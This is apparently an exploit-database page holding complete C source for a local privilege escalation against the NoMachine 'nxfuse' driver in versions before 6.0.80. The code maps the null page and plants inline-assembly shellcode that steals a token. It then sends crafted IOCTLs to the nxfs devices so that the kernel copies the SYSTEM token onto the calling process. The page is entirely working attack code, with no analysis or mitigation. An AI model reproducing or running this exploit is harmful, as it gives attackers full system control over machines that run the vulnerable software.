ExploitFixes
NoMachine x86 < 6.0.80 - 'nxfuse' Privilege Escalation 2018-02-22 18:05:03

#include “stdafx.h”

#include <Windows.h>



#define DEVICE L”\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061″

#define DEVICE2 L”\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”

#define IOCTL 0x00222014

#define IOCTL2 0x00222030

#define OUT_SIZE 0x90

#define IN_SIZE 0x10



#define KTHREAD_OFFSET 0x124

#define EPROCESS_OFFSET 0x050

#define PID_OFFSET 0x0b4

#define FLINK_OFFSET 0x0b8

#define TOKEN_OFFSET 0x0f8

#define SYSTEM_PID 0x004

#define PARENT_PID 0x140



__declspec(naked)VOID TokenStealingShellcode()

{

__asm{

xor eax, eax;

mov eax, fs:[eax + KTHREAD_OFFSET];

mov eax, [eax + EPROCESS_OFFSET];

mov esi, [eax + PARENT_PID]; Get parent pid



Loop1:

mov eax, [eax + FLINK_OFFSET];

sub eax, FLINK_OFFSET;

cmp esi, [eax + PID_OFFSET];

jne Loop1;



mov ecx, eax;

mov ebx, [eax + TOKEN_OFFSET];

mov edx, SYSTEM_PID;



Search:

mov eax, [eax + FLINK_OFFSET];

sub eax, FLINK_OFFSET;

cmp[eax + PID_OFFSET], edx;

jne Search;



mov edx, [eax + TOKEN_OFFSET];

mov[ecx + TOKEN_OFFSET], edx;

add esp, 0x58;

add[esp], 5;

ret 4;

}

}



typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(

HANDLE ProcessHandle,

PVOID *BaseAddress,

ULONG ZeroBits,

PULONG AllocationSize,

ULONG AllocationType,

ULONG Protect

);



typedef NTSTATUS(WINAPI *PNtFreeVirtualMemory)(

HANDLE ProcessHandle,

PVOID *BaseAddress,

PULONG RegionSize,

ULONG FreeType

);



int main()

{

HMODULE module = LoadLibraryA(“ntdll.dll”);

PNtAllocateVirtualMemory AllocMemory = (PNtAllocateVirtualMemory)GetProcAddress(module, “NtAllocateVirtualMemory”);

PNtFreeVirtualMemory FreeMemory = (PNtFreeVirtualMemory)GetProcAddress(module, “NtFreeVirtualMemory”);



SIZE_T size = 0x1000;

PVOID address1 = (PVOID)0x05ffff00;





NTSTATUS allocStatus = AllocMemory(GetCurrentProcess(),

&address1,

0,

&size,

MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,

PAGE_EXECUTE_READWRITE);



if (allocStatus != 0)

{

printf(“[x]Couldnt alloc page\n”);

exit(-1);

}

printf(“[+] Allocated address at %p\n”, address1);

*(ULONG *)0x05fffff4 = 5;

*(ULONG *)0x060000ac = 0x20;

*(ULONG *)0x060001dc = 0x05ffff00;

*(ULONG *)(0x05ffff00 – 0x18) = 1;

*(ULONG *)(0x05ffff00 – 0x14) = 0;



PVOID address2 = (PVOID)0x1;

SIZE_T size2 = 0x1000;



allocStatus = AllocMemory(GetCurrentProcess(),

&address2,

0,

&size2,

MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,

PAGE_EXECUTE_READWRITE);



if (allocStatus != 0)

{

printf(“[x]Couldnt alloc page2\n”);

exit(-1);

}

*(ULONG *)0x64 = (ULONG)&TokenStealingShellcode;

printf(“[+] Mapped null page\n”);



char inBuff[IN_SIZE];

char outBuff[OUT_SIZE];



HANDLE handle = 0;



DWORD returned = 0;

memset(inBuff, 0x41, IN_SIZE);

memset(outBuff, 0x43, OUT_SIZE);



*(ULONG *)inBuff = 0x00000190;

*(ULONG *)(inBuff + 4) = 0x00000001;



printf(“[+] Creating nxfs-net… device through IOCTL 222014\n”);

handle = CreateFile(DEVICE,

GENERIC_READ | GENERIC_WRITE,

FILE_SHARE_READ | FILE_SHARE_WRITE,

NULL,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,

0);



if (handle == INVALID_HANDLE_VALUE)

{

printf(“[x] Couldn’t open device\n”);

exit(-1);

}



int ret = DeviceIoControl(handle,

IOCTL,

inBuff,

IN_SIZE,

outBuff,

OUT_SIZE,

&returned,

0);



HANDLE handle2 = CreateFile(DEVICE2,

GENERIC_READ | GENERIC_WRITE,

FILE_SHARE_READ | FILE_SHARE_WRITE,

NULL,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,

0);



char inBuff2[0x30];

char outBuff2[0x30];



printf(“[+] Triggering exploit…”);



ret = DeviceIoControl(handle2,

IOCTL2,

inBuff2,

0x30,

outBuff2,

0x30,

&returned,

0);



return 0;

}